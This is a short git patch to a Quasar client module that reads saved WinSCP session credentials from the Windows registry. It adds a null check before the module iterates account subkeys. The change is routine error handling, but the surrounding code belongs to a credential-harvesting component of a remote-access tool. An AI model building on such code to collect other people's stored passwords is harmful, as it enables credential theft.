From e8356748c53798ddfbed1907760f1add1c5be41a Mon Sep 17 00:00:00 2001 From: quasarfan44345tz Date: Sat, 29 Jul 2023 10:55:45 +0200 Subject: [PATCH] add error checking --- Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs index 3823ad5c..355d1c15 100644 --- a/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs +++ b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs @@ -23,6 +23,10 @@ namespace Quasar.Client.Recovery.FtpClients using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath)) { + if (key == null) + { + return data; + } foreach (String subkeyName in key.GetSubKeyNames()) { using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))